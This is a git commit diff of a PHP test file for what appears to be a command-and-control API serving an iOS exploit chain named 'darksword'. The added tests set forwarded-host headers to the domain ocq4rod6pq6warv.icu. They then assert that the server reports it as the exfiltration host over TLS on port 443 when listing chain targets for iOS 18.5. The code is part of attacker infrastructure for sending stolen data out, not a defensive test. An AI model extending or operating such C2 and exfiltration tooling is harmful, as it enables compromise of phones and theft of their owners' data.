This commit is contained in:
hashbro
2026-08-26 06:45:20 +08:00
parent 533b2bb9e4
commit 3a2be309dc
7 changed files with 50 additions and 9 deletions
+12 -1
View File
@@ -93,7 +93,18 @@ class DarkSwordC2ApiTest extends TestCase
->assertJson([
'ok' => true,
'chain' => 'darksword',
]);
])
->assertJsonPath('exfil.prefer_https', false);
$this->withHeaders([
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
'X-Forwarded-Port' => '443',
])->getJson('/api/ds/chain-targets?ios=18.5')
->assertOk()
->assertJsonPath('exfil.host', 'ocq4rod6pq6warv.icu')
->assertJsonPath('exfil.tls', true)
->assertJsonPath('exfil.prefer_https', true)
->assertJsonPath('exfil.https_port', 443);
$this->get('/api/ds/log?text=lab')
->assertOk()